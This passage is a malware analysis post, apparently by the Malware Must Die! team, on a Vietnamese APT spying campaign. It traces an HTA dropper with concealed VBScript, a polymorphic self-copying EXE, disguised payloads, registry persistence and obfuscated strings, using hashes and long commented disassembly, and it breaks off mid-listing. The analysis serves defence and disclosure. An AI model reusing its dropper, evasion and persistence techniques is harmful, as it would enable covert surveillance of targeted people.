Another country-sponsored #malware: Vietnam APT Campaign

The background

This is a team work analysis, we have at least 5 (five) members involved with this investigation.
The case that is about to be explained here is an APT case. Until now, we were (actually) avoiding APT cases for publicity in Malware Must Die! posts. But due to recent progress in "public privacy violation or power-abuse/bullying" malware cases, we improved our policy, so for several cases fit to "a certain condition", i.e. malware developed by "powerful actors with budget" aiming weak victims including the APT method, or, intimidation for public privacy cases using a crafted-malware, are going to be disclosed and reported here "ala MMD", along w/public criminal threat too. So don't use malware if you don't want to look BAD :-)

This case is NOT a new threat, for the background this threat was written in the Infosec Island blog, written by By Eva Galperin and Morgan Marquis-Boire in the good report of article: "Vietnamese Malware Gets Very Personal" which is posted several months ago, access is in here-->[LINK], the post was very well written as heads up for this threat. Also, there are similar article supported to this threat and worth reading beforehand like:


    You can consider this post is made as additional for the previous writings, to disclose deeper of what public and the victims actually SHOULD know in-depth about the malicious activity detail, that is performed by this malware. To be more preventive in the future for the similar attack that is possibly occurred.

    We suspect a group with good budget is in behind of this malware, aiming and bullying privacy of specific individuals who against one country's political method. In a glimpse, the malware, which is trying hard to look like a common-threat, looks like a simple backdoor & connecting/sending some stuffs to CNC. But if you see it closely to the way it works, you will be amazed of the technique used to fulfill its purpose, and SPYING is the right word for that purpose.

    The sample we analyzed in this post was received from the victims side, we picked the one file called "Thu moi.7z" which contains the "Thu moi.hta" snipped below:

    ..which was reported as the latest of this series.

    From the surface, if "Thu moi.hta" file is being executed (double clicked), it will extract (drop) and opening a Microsoft Word DOC file, to camouflage the victim to make them believe that they are opening an archived document file, while what had actually happened is, in the background a series of infection activities happened in the victim's PC.

    Malware installer scheme

    How the file was extracted from "Thu moi.hta" is by utilizing a simple embedded VB Script, you can see it started in the line 307 (of that .hta sample file) as per shown below in any text editor you pick:

    At the starting part of this script. you can see three points was used to camouflage, which are : (1) The usage of the long white space to cover the evil script start tag from the eye-sight, (2) the effort to minimize the "window" for the shell used to run this evil VB Script, and (3) the effort to NOT showing the window taskbar during the script running.

    I will try to peel the evil script used, with the explanation I commented within the lines, as per below:

    So, the script was design to keep on running in any run time error. You will meet the function forming the randomized strings for an "exe" filename. You can see how this script generate the "random seed" to be used for randomizing the strings used for filename, and how it merged filename with the ".exe" extension afterwards. Then the script is obfuscating the WScript's (the Windows OS interpreter engine for running a VB Script) commands to form an object of file system, and the shell for execution a windows command/executable file(s).

    The line 48 & 49 of the script is to declare the file object & shell mentioned above in the variable "os" and "ws". And following by defining the windows temporary folder as file's path added by the function's generated randomized name as filename+extension. To make sure of what these variables generated values, I am using break points formed by Wscript.Echo trick to burp its value in a pop-up.

    The VB Script is creating the EXE file as per previously described above, declared it as an object "p1". Then you can see blob of binary codes to be written as HEX to form a file, by using the combination of commands in VB script. This method is commonly used as technique to write a malware binary in VB Script. But this one is a well-thought one.

    The next lines is explaining the same method used for HEX file-writing. Yes, it wrote another file, and declaring it as object "p", but this one is using the static variable name "Doc Loi.doc" which is using the %Temp% path too (noted: GetSpecialFolder(x) where x=2 means %Temp%).

    Here's the punchline, the last part of codes (lines 116 and 117) you will see the script is performing execution of object "p" (the .doc file) and without waiting it just run the "p1" (the .exe malware).

    We recheck the run result of any decoding method we did. In this case I just commented the line 116 and 117 per expected, this script runs and minimizing the window w/o taskbar title:

    And it creates those two files (before execution). I run it many times for fun..NO!" ..for "analysis" (Uhm!), so I can extract randomized injected files to check is it polymorphic or not (and..of is not, NOT with this plain Hex writing crap).

    Further, we also formed the binary file-injecting itself from hex-strings directly from the script as per snipped below, to study the possibility of a miss-writing that can happened during forming the PE extraction, the test was done with the same result. A snip of scratch used (thanks to MMD DE team):

    We also check bit-by-bit to make sure which samples belong to which installers, since this malware looks hit some victims / more than one time.

    So what does this ".exe" malware do?

    Polymorphic self-copy & new process spawner

    I picked the .exe file dropped by this .hta installer with the MD5 hash f38d0fb4f1ac3571f07006fb85130a0d, this malware was uploaded to VT about 7 months ago.

    The malware is the one was dropped by the installer, you can see the same last bits before blobs of "00" hex were written in the malware binary as per snipped and red-marked color in the VB script mentioned in the previous section:

    This binary is having an interesting functionality. There's so much to write from it..but I will go to important highlights, or this post is going to be a book. Among all usual malicious tricks for evasion & "reverse/debug checking" tricks used, it was designed to detect the way it was called. When it was initially executed as the form of the dropped .exe from the .hta installer it will delete the original file and rewrite itself to the %Temp% folder using the random Hex-filename with ".tmp" extension, below is the partial writing codes snipped for it:

    The self-copied files are polymorphic, below some PoC, one AV evasion detection designed:

    Size   Exec Date    Filename MD5
    438272 Aug 23 01:28 10.tmp* 577237bfd9c40e7419d27b7b884f95d3
    438272 Aug 23 07:22 17.tmp* 9451a18db0c70960ace7d714ac0bc2d2
    438272 Aug 23 07:36 18.tmp* 53d57a45d1b05dce56dd139fc985c55e
    438272 Aug 23 07:39 19.tmp* 387321416ed21f31ab497a774663b400
    438272 Aug 23 07:43 1A.tmp* 0a65ecc21f16797594c53b1423749909
    438272 Aug 23 07:44 1B.tmp* 91a49ed76f52d5b6921f783748edab01
    438272 Aug 23 07:44 1C.tmp* f89571efe231f9a05f9288db84dcb006
    438272 Aug 23 07:45 1D.tmp* 7ca95b52ed43d71e2d6a3bc2543b4ee1
    438272 Aug 23 07:46 1E.tmp* faec9c62f091dc2163a38867c28c224d
    438272 Aug 23 07:47 1F.tmp* 4b02063c848181e3e846b59cbb6b3a46
    438272 Aug 23 08:14 20.tmp* 5c8f2f581f75beff1316eee0b5eb5f6d
    438272 Aug 23 01:19 F.tmp* b466cb01558101d934673f56067f63aa
    : :
    It'll then create the process (with the command line API), which will be executed at the function reversed below, I put default IDA commented information since it is important for all of us (not only reverser) to understand flow used below, pls bear the length, just please scroll down to skip these assembly explanation (unless you interest to know how it works):
    0x40BF20 sub_40BF20 proc near
    0x40BF20 StartupInfo= _STARTUPINFOW ptr -8508h
    0x40BF20 ProcessInformation= _PROCESS_INFORMATION ptr -84C4h
    0x40BF20 var_84B4= dword ptr -84B4h
    0x40BF20 CommandLine= word ptr -84B0h
    0x40BF20 FileName= word ptr -4B0h
    0x40BF20 ApplicationName= dword ptr -2A8h
    0x40BF20 var_A0= dword ptr -0A0h
    0x40BF20 var_1C= dword ptr -1Ch
    0x40BF20 var_18= dword ptr -18h
    0x40BF20 var_10= dword ptr -10h
    0x40BF20 var_8= dword ptr -8
    0x40BF20 var_4= dword ptr -4
    0x40BF20 arg_8= dword ptr 10h
    0x40BF20 push ebp
    0x40BF21 mov ebp, esp
    0x40BF23 push 0FFFFFFFEh
    0x40BF25 push offset unk_4284D0
    0x40BF2A push offset sub_416480
    0x40BF2F mov eax, large fs:0
    0x40BF35 push eax
    0x40BF36 sub esp, 8 ; Integer Subtraction
    0x40BF39 mov eax, 84F0h
    0x40BF3E call sub_4207F0 ; Call Procedure
    0x40BF43 mov eax, dword_42A520
    0x40BF48 xor [ebp+var_8], eax ; Logical Exclusive OR
    0x40BF4B xor eax, ebp ; Logical Exclusive OR
    0x40BF4D mov [ebp+var_1C], eax
    0x40BF50 push ebx
    0x40BF51 push esi
    0x40BF52 push edi
    0x40BF53 push eax
    0x40BF54 lea eax, [ebp+var_10] ; Load Effective Address
    0x40BF57 mov large fs:0, eax
    0x40BF5D mov [ebp+var_18], esp
    0x40BF60 mov esi, [ebp+arg_8]
    0x40BF63 xor ebx, ebx ; Logical Exclusive OR
    0x40BF65 push ebx ; reserved register (pvReserved) PS: MUST BE NULL!
    0x40BF66 call ds:CoInitialize ; CoInitialize@OLE32.DLL (Import, LPVOID, pvReserved)
    0x40BF6C mov [ebp+var_4], ebx ; Initializes the COM lib is executed here
    0x40BF6F push 6 ; push 0x06h
    0x40BF71 push offset aHelp ; is a UTF-16 "--help" for params
    0x40BF76 push esi
    0x40BF77 call sub_41196F ; bottom line: function in sub_41A360, comp & add chars
    0x40BF7C add esp, 0Ch ; Add
    0x40BF7F test eax, eax ; Logical Compare
    0x40BF81 jz loc_40C13E ; Jump if Zero (ZF=1) TO Sleep & Exit
    0x40BF87 call sub_409740 ; point is control svc manager, grab db (info)
    0x40BF8C xor eax, eax ; Logical Exclusive OR
    0x40BF8E mov [ebp+FileName], ax
    0x40BF95 push 206h
    0x40BF9A push ebx
    0x40BF9B lea ecx, [ebp-4AEh] ; Load Effective Address ECX w/Filename
    0x40BFA1 push ecx
    0x40BFA2 call sub_412510 ; check+strings operation (XOR, shift right)
    0x40BFA7 add esp, 0Ch ; 12 (0x0c) has to be added to the stack
    0x40BFAA push 104h ; nSize
    0x40BFAF lea edx, [ebp+FileName] ; Load Effective Address
    0x40BFB5 push edx ; lpFilename
    0x40BFB6 push ebx ; hModule
    0x40BFB7 call ds:GetModuleFileNameW ; grab this process filename
    0x40BFBD test eax, eax ; cleanup EAX for jmp
    0x40BFBF jz loc_40C15D ; Jump if Zero (ZF=1)
    0x40BFC5 xor eax, eax ; Logical Exclusive OR
    0x40BFC7 mov word ptr [ebp+ApplicationName], ax
    0x40BFCE push 206h
    0x40BFD3 push ebx
    0x40BFD4 lea ecx, [ebp+ApplicationName+2] ; Load Effective Address, this appname
    0x40BFDA push ecx ; pushing appname to the stack
    0x40BFDB call sub_412510 ; check+strings operation (XOR, shift right)
    0x40BFE0 add esp, 0Ch ; 12 (0x0c) has to be added to the stack
    0x40BFE3 lea edx, [ebp+ApplicationName] ; Load Effective Address
    0x40BFE9 push edx ; push lpBuffer
    0x40BFEA push 104h ; and its length (nBufferLength)
    0x40BFEF call ds:GetTempPathW ; grab %Temp%
    0x40BFF5 test eax, eax ; cleanup EAX for jmp
    0x40BFF7 jz loc_40C15D ; Jump if Zero (ZF=1)
    0x40BFFD lea eax, [ebp+ApplicationName] ; Load Effective Address
    0x40C003 push eax ; lpTempFileName
    0x40C004 push ebx ; uUnique
    0x40C005 push ebx ; lpPrefixString
    0x40C006 mov ecx, eax
    0x40C008 push ecx ; lpPathName / push Path..
    0x40C009 call ds:GetTempFileNameW ; grab %Temp%+%Filename%
    0x40C00F test eax, eax ; cleanup EAX for jmp
    0x40C011 jz loc_40C15D ; Jump if Zero (ZF=1)
    0x40C017 call sub_4079C0 ; To CryptAcquireContextW..CryptRelease OP.
    0x40C01C test eax, eax ; cleanup EAX for jmp
    0x40C01E jz loc_40C15D ; Jump if Zero (ZF=1)
    0x40C024 mov byte ptr [ebp+var_A0], bl ; reserved pointer
    0x40C02A push 80h ; push WritePrivateProfileString to stack
    0x40C02F push ebx ; push lpPrefixString to stack
    0x40C030 lea edx, [ebp+var_A0+1] ; load rsv pointer address
    0x40C036 push edx ; push rsv pointer to stack
    0x40C037 call sub_412510 ; check+strings operation (XOR, shift right)
    0x40C03C add esp, 0Ch ; 12 (0x0c) has to be added to the stack
    0x40C03F mov [ebp+var_84B4], 81h ; EBP to WritePrivateProfileString
    0x40C049 lea edx, [ebp+var_84B4] ; load EBP
    0x40C04F lea eax, [ebp+var_A0] ; load EAX
    0x40C055 call sub_40A300 ; to fnc OP Shift right+4 etc..
    0x40C05A test eax, eax ; cleanup EAX for jmp
    0x40C05C jz loc_40C15D ; Jump if Zero (ZF=1)
    0x40C07B xor eax, eax ; cleanup EAX
    0x40C07D mov [ebp+CommandLine], ax ; prep exec/command line
    0x40C084 push 7FFEh
    0x40C089 push ebx ; push lpPrefixString
    0x40C08A lea ecx, [ebp-84AEh] ; Load eff addr of ECX
    0x40C090 push ecx ; push into stack
    0x40C091 call sub_412510 ; check+strings operation (XOR, shift right)
    0x40C096 lea edx, [ebp+var_A0] ; load eff addr lpFileName
    0x40C09C push edx ; psh lpFileName to stack
    0x40C09D lea eax, [ebp+FileName] ; load eff addr fur filename
    0x40C0A3 push eax ; push into stack
    0x40C0A4 lea ecx, [ebp+ApplicationName] ; load eff addr appname
    0x40C0AA push ecx ; push appname to stack
    0x40C0AB push offset aSHelpSS ; get "\"%s\" --help%s\t%S" command executed template into stack
    ; sttarted from the above written path/filename, this file's path+name
    ; and %S strings from encryption result
    0x40C0B0 push 4000h
    0x40C0B5 lea edx, [ebp+CommandLine] ; load eff addr exec/cmd line
    0x40C0BB push edx ; push cmd/exec to stack
    0x40C0BC call sub_411448 ; goto 0x0410A42, obfuscation
    0x40C0C1 mov [ebp+StartupInfo.cb], ebx ; transfer the startup info
    0x40C0C7 push 40h ; AccessResource
    0x40C0C9 push ebx ; push to stack
    0x40C0CA lea eax, [ebp+StartupInfo.lpReserved] ; load eff addr for StartupInfo+IpReserved
    0x40C0D0 push eax ; push that into stack
    0x40C0D1 call sub_412510 ; deobfuscation shif -1 is here
    0x40C0D6 add esp, 30h ; Add ESP w/30h
    0x40C0D9 mov [ebp+StartupInfo.cb], 44h ; transfer startups to EBP
    0x40C0E3 xor ecx, ecx ; cleanup ECX
    0x40C0E5 mov [ebp+StartupInfo.wShowWindow], cx ; forming startups info here..
    0x40C0EC mov [ebp+StartupInfo.dwFlags], 1
    0x40C0F6 mov [ebp+ProcessInformation.hProcess], ebx
    0x40C0FC xor eax, eax ; cleanup prep EAX
    0x40C0FE mov [ebp+ProcessInformation.hThread], eax ; forming process-info here..
    0x40C104 mov [ebp+ProcessInformation.dwProcessId], eax
    0x40C10A mov [ebp+ProcessInformation.dwThreadId], eax
    0x40C110 lea edx, [ebp+ProcessInformation] ; Load Effective Address
    0x40C116 push edx ; Push all info to stack as lpProcessInformation
    0x40C117 lea eax, [ebp+StartupInfo] ; assemble startinfo into EAX
    0x40C11D push eax ; lpStartupInfo
    0x40C11E push ebx ; lpCurrentDirectory
    0x40C11F push ebx ; lpEnvironment
    0x40C120 push 8000000h ; dwCreationFlags
    0x40C125 push ebx ; bInheritHandles
    0x40C126 push ebx ; lpThreadAttributes
    0x40C127 push ebx ; lpProcessAttributes
    0x40C128 lea ecx, [ebp+CommandLine] ; startupinfo+cmd
    0x40C12E push ecx ; lpCommandLine
    0x40C12F lea edx, [ebp+ApplicationName] ; process info loaded
    0x40C135 push edx ; lpApplicationName pushed to stack
    0x40C136 call ds:CreateProcessW ; stdcall to start process w/flags
    0x40C13C jmp short loc_40C15D
    if the .hta dropped malware named "sample.exe", new process will be started by launching command line contains parameters described below:
    "CreateProcessW","C:\DOCUME~1\...\LOCALS~1\Temp\RANDOM[0-9A-F]{1,2}.tmp","SUCCESS|FAIL","PID: xxx, 
    Command line: ""C:\DOCUME~1\...\LOCALS~1\Temp\RANDOM[0-9A-F]{1,2}.tmp"" \n
    --helpC:\DOCUME~1\...\LOCALS~1\Temp\sample.exe \n
    The decryption function used is as per below:
    And this malware will end its process here, raising new process that has just been executed..

    More drops & payload installation

    The process RANDOM[0-9A-F]{1,2}.tmp started by allocated memory, loading rpcss.dll, uxtheme.dll, MSCTF.dll before it self deleting the dropper .exe. The snip code for the deletion is as per below, this isn't also an easy operation, it checks whether the file is really there, if not it makes sure it is there..

    0x40A648 push    edi             ; push pszPath into stack
    0x40A649 call ds:PathFileExistsW ; get the path
    0x40A657 push 0Ah ; lpType
    0x40A659 push 65h ; lpName
    0x40A65B push ebx ; hModule (for the FindResourceW)
    0x40A65C call ds:FindResourceW ; Indirect Call to get resouce
    0x40A662 mov esi, eax ; feed esi w/eax
    0x40A664 cmp esi, ebx ; condition to check if ESI contains file data
    0x40A666 jz loc_0x40A7CB ; then goto file deletion below:
    0x40A7CB loc_0x40A7CB: ; lpFileName
    0x40A7CB push edi ; push path+filename to stack
    0x40A7CC call ds:DeleteFileW ; call API DeleteFileW@KERNEL32.DLL (Import, 1 Params)
    0x40A7D2 mov [ebp+var_18], 1 ; Execution, note: mov dword ptr [ebp-18h], 0x01h

    ;; ..OR fill the ESI and make sure it was executed..

    0x40A779 mov ecx, [ebp+lpFile]
    0x40A77C mov edx, [ebp+lpExistingFileName]
    0x40A77F push ecx ; lpNewFileName
    0x40A780 push edx ; lpExistingFileName
    0x40A78B mov eax, [ebp+lpFile] ; eax < file opeation info
    0x40A78E push 1 ; nShowCmd
    0x40A790 push ebx ; lpDirectory
    0x40A791 push ebx ; lpParameters
    0x40A792 push eax ; lpFile
    0x40A793 push ebx ; lpOperation
    0x40A794 push ebx ; hwnd
    0x40A795 call ds:ShellExecuteW ; prep shell to exec/open file
    0x40A79B mov [ebp+var_18], 1
    ..up to this point I know that we're dealing with a tailored-made malware.

    Back to the highlights, RANDOM[0-9A-F]{1,2}.tmp executed with the right condition will drop payloads of this threat, the first drop is the real deal payload, following by the second drop as the its driver. The file creation of first payload is handled in function 0x41FC90, with the related snip below:

    0x41FEAF mov     eax, [ebp+arg_0]
    0x41FEB2 mov edi, ds:CreateFileW ; prep API CreateFileW@KERNEL32.DLL (import, 7 attribs at 0x41FED0)
    0x41FEB8 push 0 ; prepare hTemplateFile to stack
    0x41FEBA push [ebp+dwFlagsAndAttributes] ; to stack: dwFlagsAndAttributes
    0x41FEBD mov dword ptr [eax], 1
    0x41FEC3 push [ebp+dwCreationDisposition] ; dwCreationDisposition
    0x41FEC6 lea eax, [ebp+SecurityAttributes] ; load w/add sec-attrib
    0x41FEC9 push eax ; lpSecurityAttributes to stack
    0x41FECA push [ebp+dwShareMode] ; dwShareMode
    0x41FECD push [ebp+dwDesiredAccess] ; dwDesiredAccess
    0x41FED0 push [ebp+lpFileName] ; push EBP with lpFileName & its data assembled:
    0x41FED0 ; C:\Documents and Settings\...\Application Data\Common Files\defrag.exe
    0x41FED0 ; "SUCCESS|FAIL",
    0x41FED0 ; "Desired Access: Read Attributes,
    0x41FED0 ; Disposition: Open,
    0x41FED0 ; Options: Open Reparse Point,
    0x41FED0 ; Attributes: n/a,
    0x41FED0 ; ShareMode: Read, Write, Delete,
    0x41FED0 ; AllocationSize: n/a,
    0x41FED0 ; OpenResult: Open|Fail"
    0x41FED3 call edi ; CreateFileW ; Call API
    0x41FED5 mov [ebp+hHandle], eax ; Boom! File create execution..
    And the writing this file is written in function 0x418EC2 after deobfuscating data part, as per snipped here:
    0x418FB9 mov     eax, [eax+6Ch]
    0x418FBC xor ecx, ecx ; cleanup ECX
    0x418FBE cmp [eax+14h], ecx ; Compare Two Operands
    0x418FC1 lea eax, [ebp+CodePage] ; Load Effective Address
    0x418FC7 setz cl ; Set Byte if Zero (ZF=1)
    0x418FCA push eax ; lpMode
    0x418FCB mov eax, [ebx]
    0x418FCD push dword ptr [edi+eax] ; hConsoleHandle, val=0x01(write)
    0x418FD0 mov esi, ecx
    0x418FD2 call ds:GetConsoleMode ; in this case is output mode console screen buffer.
    : (etc etc)
    0x4194F0 push ecx ; lpOverlapped
    0x4194F1 lea ecx, [ebp+var_1AD8] ; load eff addr lpNumberOfBytesWritten
    0x4194F7 push ecx ; push lpNumberOfBytesWritten to stack
    0x4194F8 push [ebp+nNumberOfBytesToWrite] ; length, value (dec) 4,096 why??
    0x4194FB push [ebp+lpBuffer] ; lpBuffer
    0x419501 push dword ptr [eax+edi] ; hFile (the defrag.exe)
    0x419504 call ds:WriteFile ; Indirect Call Near Procedure
    0x41950A test eax, eax ; Execution to write...
    0x41950C jz short loc_0x419523 ; Jump if Zero (ZF=1)
    0x419523 call ds:GetLastError
    0x419529 mov dword ptr [ebp+WideCharStr],
    we recorded this drop operation in the forensics way too, as per below as evidence:

    As you can see the wiring method is in redundancy per 4096 bytes.

    This first drop called defrag.exe looks pretty much like Windows harddisk defragmentation tool, down to its property, a perfectly crafted evil file:

    Only by using good analysis binary static analysis tool like PEStudio (maker: Marc Oschenmeier), we can spot and focus investigation to the badness indicators right away:

    The next drop is the next task of this binary, noted that none of these drops were fetched from internet instead the data is already included in .hta or .[random].exe or [random.tmp].
    Using the exactly the same functions described above, 0x41FC90 for creation and 0x418EC2 for writing, the second drop operation were also performed. The file name is formed as per below strings:

    "C:\Documents and Settings\MMD\Application Data\Identities\{116380ff-9f6a-4a90-9319-89ee4f513542}\disk1.img"
    the forensics PoC is:

    This file is actually a DLL file, here's some peframe:
    File Name:      disk1.img
    PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
    File Size: 249344 byte
    Compile Time: 2010-08-14 17:16:08
    "DLL: True"
    Entry Point: 0x0001BBD1
    Sections: 4
    MD5 hash: 62646ea0a4ce1e6d955cbaef8c4a510d
    SHA-1 hash: 10116a65e19a7ebc6702250cc1caabf755ce8e7f
    Anti Debug: Yes
    Anti VM: None
    And Virus Total showing the good infection info:
    First submission 2013-03-11 10:38:19 UTC ( 1 year, 5 months ago )
    Last submission 2014-01-21 12:49:00 UTC ( 7 months ago )
    File names disk1.dl, disk1.img

    This file is then performing registry query and writing operations, I will skip some assembly for this, so shortly, these are the 8 keys added, below data I snip from forensics result:

    We can see the autostart, and the way it camouflage malicious data in registry using legit scattered softwares and Windows components. Like: Auslogic (RecoveryDataStore), Photo Viewer, Disk Defragment Module, Microsoft Remote Assitance. This all means to hide and prevent the quick notice of this malware in the infected PC, it is a well thought plan.
    To be noted that one of the key is used to run the defrag.exe execution via ShellExecuteW by the [Random].tmp file, and also you can see the "key" used for this malware saved, one last thing to be noticed is the the bot ID used.

    PS: There are also more drops made which are the Windows task installer for this malware

    It is the Windows scheduler (kinda crond) to execute the EXE payload (defrag.exe). Pic:

    What this payload does

    First thing that caught interest and attention is these obfuscation constant variables saved in .rdata section:

    0x40F3AC ; const WCHAR aTztxpx75Xtdsjq
    0x40F3AC aTztxpx75Xtdsjq:
    0x40F3AC unicode 0, <"tztxpx75]xtdsjqu/fyf">,0
    0x40F3D6 align 4
    0x40F3D8 ; const WCHAR aTztufn43Xtdsjq
    0x40F3D8 aTztufn43Xtdsjq:
    0x40F3D8 unicode 0, <"tztufn43]xtdsjqu/fyf">,0
    0x40F402 align 4
    0x40F404 ; const WCHAR a2e6g3ddEmm
    0x40F404 a2e6g3ddEmm:
    0x40F404 unicode 0, <"2e6g3dd/emm">,0
    0x40F430 ; const WCHAR aQsphsbnGjmftY9
    0x40F430 aQsphsbnGjmftY9:
    0x40F430 unicode 0, <"Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfmpxvujm/fyf">,0
    0x40F498 ; const WCHAR aQsphsbnGjmftNf
    0x40F498 aQsphsbnGjmftNf:
    0x40F498 unicode 0, <"Qsphsbn!Gjmft]Nfttfohfs]ntntht/fyf">,0
    0x40F4DE align 10h
    0x40F4E0 ; const WCHAR aQsphsbnGjmft_0
    0x40F4E0 aQsphsbnGjmft_0:
    0x40F4E0 unicode 0, <"Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf">,0
    0x40F546 align 4
    0x40F548 ; const WCHAR aQsphsbnGjmftJo
    0x40F548 aQsphsbnGjmftJo:
    0x40F548 unicode 0, <"Qsphsbn!Gjmft]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf">,0
    0x40F5A2 align 4
    We have good decoder team in MMD. Soon these data were translated as per below:

    When these data formed in the functions where they were called, we will have better idea of WHY these strings were obfuscated. This time we will take a look at the dump analysis in disassembly, to seek the executed code parts only:
    ;;Loads a malicious DLL "1d5f2cc.dll" (later on known as disk1.img))

    0x0C22D37 call 0x0C28720h target: 0x0C28720
    0x0C22D3C add esp, 0Ch
    0x0C22D3F push 0x0C2F404h <== UTF-16 "2e6g3dd/emm" ; DECODED "1d5f2cc.dll"
    0x0C22D44 lea edx, dword ptr [ebp-00000084h]
    0x0C22D4A push edx
    0x0C22D4B call dword ptr [0x0C2D06Ch] lstrcpyW@KERNEL32.DLL

    ;; Strings for "\Software\Auslogics" entry in registry

    0xC2207C lea ecx, dword ptr [ebp-00000802h]
    0xC22082 push ecx
    0xC22083 mov word ptr [ebp-00000804h], ax
    0xC2208A call 00C28720h target: 00C28720
    0xC2208F add esp, 0Ch
    0xC22092 push 00C2F278h <== UTF-16 "Tpguxbsf]Bvtmphjdt]|11111111.1111.1111.1111.111111111111~]SfdpwfszEbubTupsf"
    ; DECODED: "Software\Auslogics\{00000000-0000-0000-0000-000000000000}\RecoveryDataStore"

    ;; Checks path/process iexplorer.exe ..depends on system...
    0x0C22A4E call ebx PathFileExistsW@SHLWAPI.DLL (Import, 1 Params)
    0x0C22A50 test eax, eax
    0x0C22A52 jne 0x0C22AB8h target: 0x0C22AB8
    0x0C22A54 push 0x0C2F4E0h <== UTF-16 "Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf"
    ; DECODED: "Program Files (x86)\Internet Explorer\iexplore.exe"

    ;; This look bad, why "Skype" is here??

    0x0C22625 xor eax, eax
    0x0C22627 push 0000007Eh
    0x0C22629 push eax
    0x0C2262A lea ecx, dword ptr [ebp-0x000086h]
    0x0C22630 push ecx
    0x0C22631 mov word ptr [ebp-0x000088h], ax
    0x0C22638 call 0x0C28720h target: 0x0C28720
    0x0C2263D mov esi, dword ptr [0x0C2D06Ch] lstrcpyW@KERNEL32.DLL
    0x0C22643 add esp, 0Ch
    0x0C22646 push 0x0C2F360h <== UTF-16 "//]tlzqf/fyf"
    ; DECODED "..\skype.exe"
    0x0C2264B lea edx, dword ptr [ebp-0x000088h]
    0x0C22651 push edx
    0x0C22652 call esi lstrcpyW@KERNEL32.DLL

    ;; And checks for Messenger too.??

    0x0C229DB push edx
    0x0C229DC call ebx PathFileExistsW@SHLWAPI.DLL
    0x0C229DE test eax, eax
    0x0C229E0 jne 0x0C22A46h target: 0x0C22A46
    0x0C229E2 push 0x0C2F498h <== UTF-16 "Qsphsbn!Gjmft]Nfttfohfs]ntntht/fyf" ;
    ; DECODED: "Program Files\Messenger\msmsgs.exe"
    0x0C229E7 lea eax, dword ptr [esp+74h]
    0x0C229EB push eax
    0x0C229EC call esi lstrcpyW@KERNEL32.DLL

    ;; wscript.exe path..this must be used for something bad..

    0x0C22876 call dword ptr [0x0C2D090h] GetVersion@KERNEL32.DLL (Import, 0 Params)
    0x0C2287C mov esi, dword ptr [0x0C2D06Ch] lstrcpyW@KERNEL32.DLL (Import, 2 Params)
    0x0C22882 push 0x0C2F3ACh <== UTF-16 "tztxpx75]xtdsjqu/fyf"; DECODED: "syswow64\wscript.exe"
    0x0C22887 lea eax, dword ptr [esp+74h]
    0x0C2288B push eax
    0x0C2288C call esi lstrcpyW@KERNEL32.DLL (Import, 2 Params)
    Found this function is interesting, I found the check for username "Administrator" and SUID "system" are checked:
     ;; Getting the current user name....

    0x0C21FAB xor bl, bl
    0x0C21FAD call dword ptr [0xC2D00Ch] GetUserNameW@ADVAPI32.DLL (Import, 2 Params)
    0x0C21FB3 test eax, eax
    0x0C21FB5 je 0x0C21FCEh target: 0xC21FCE
    0x0C21FB7 push 0x0C2F22Ch <== UTF-16 "system"
    0x0C21FBC lea ecx, dword ptr [ebp-0x000204h]
    0x0C21FC2 push ecx

    ;; Seek for Administrator account...

    0x0C21AC9 call dword ptr [0x0C2D014h] LookupAccountSidW@ADVAPI32.DLL
    0x0C21ACF test eax, eax
    0x0C21AD1 je 0x0C21AFDh target: 0x0C21AFD
    0x0C21AD3 lea ecx, dword ptr [ebp-0x000204h]
    0x0C21AD9 push ecx
    0x0C21ADA push 0x0C2F1FCh <== UTF-16 "administrators"
    0x0C21ADF call dword ptr [0x0C2D030h] lstrcmpiW@KERNEL32.DLL
    0x0C21AE5 test eax, eax
    Suspicious isn't it?

    I go back to the binary for understanding the related functions, which is in 0x4027F0. I was wondering of what is the part of wscript.exe (not again!??) mentioned by this binary. So I trailed the path of the wscript.exe starting here, assumed that the Windows architecture is x64:

    0x40286E call    sub_408720      ; Check to fill ECX w/Quad deobfs
    0x402873 add esp, 0Ch ; reserve ESP w/version info
    0x402876 call ds:GetVersion ; Get current version number of Windows
    0x402876 ; and information about the operating system platform
    0x40287C mov esi, ds:lstrcpyW
    0x402882 push offset aTztxpx75Xtdsjq <== Push: "tztxpx75]xtdsjqu/fyf" to stack
    0x402882 ; Decoded: "syswow64\wscript.exe"
    0x402887 lea eax, [esp+694h+pMore] ; load EAX
    0x40288B push eax ; lpString1 (push this to the stack)
    0x40288C call esi ; lstrcpyW ; Indirect Call Near Procedure
    0x40288E mov dx, [esp+690h+pMore]
    0x402893 xor edi, edi ; Cleanup EDI
    0x402895 xor ecx, ecx ; Clenup ECX
    0x402897 movzx eax, dx ; trail of [esp+69Ch+CommandLine]
    0x40289A cmp di, dx ; A check to goto Appname/path
    then found the binary wscript.exe is executed in this part:
    0x402B54 xor     eax, eax
    0x402B56 push 40h
    0x402B58 push eax
    0x402B59 mov [esp+698h+ProcessInformation.hThread], eax
    0x402B5D mov [esp+698h+ProcessInformation.dwProcessId], eax
    0x402B61 mov [esp+698h+ProcessInformation.dwThreadId], eax
    0x402B65 lea eax, [esp+698h+StartupInfo.lpReserved] ; Load Effective Address
    0x402B69 push eax
    0x402B6A mov [esp+69Ch+ProcessInformation.hProcess], 0
    0x402B72 call sub_408720 ; deobfs procedure..
    0x402B77 add esp, 0Ch ; prep ESP
    0x402B7A xor ecx, ecx ; initiate ECX
    0x402B7C lea edx, [esp+690h+ProcessInformation] ; pump EDX w/process info
    0x402B80 push edx ; lpProcessInformation
    0x402B80 ; goes to stack
    0x402B81 lea eax, [esp+694h+StartupInfo] ; load eff addr EAX filled w/
    0x402B81 ; startup info
    0x402B85 push eax ; lpStartupInfo goes to stack
    0x402B86 push offset Buffer ; lpCurrentDirectory
    0x402B8B push ecx ; lpEnvironment
    0x402B8B ; (fill ECX w/ cmd execution flags)
    0x402B8C push ecx ; dwCreationFlags
    0x402B8D push ecx ; bInheritHandles
    0x402B8E push ecx ; lpThreadAttributes
    0x402B8F push ecx ; lpProcessAttributes
    0x402B90 mov [esp+6B0h+StartupInfo.wShowWindow], cx
    0x402B95 lea ecx, [esp+6B0h+CommandLine] ; load ProcInfo,Thread/ProcID+CmdLine
    0x402B9C push ecx ; lpCommandLine goes to stack
    0x402B9D lea edx, [esp+6B4h+ApplicationName] ; load appname &..
    0x402BA4 push edx ; lpApplicationName goes ot stack
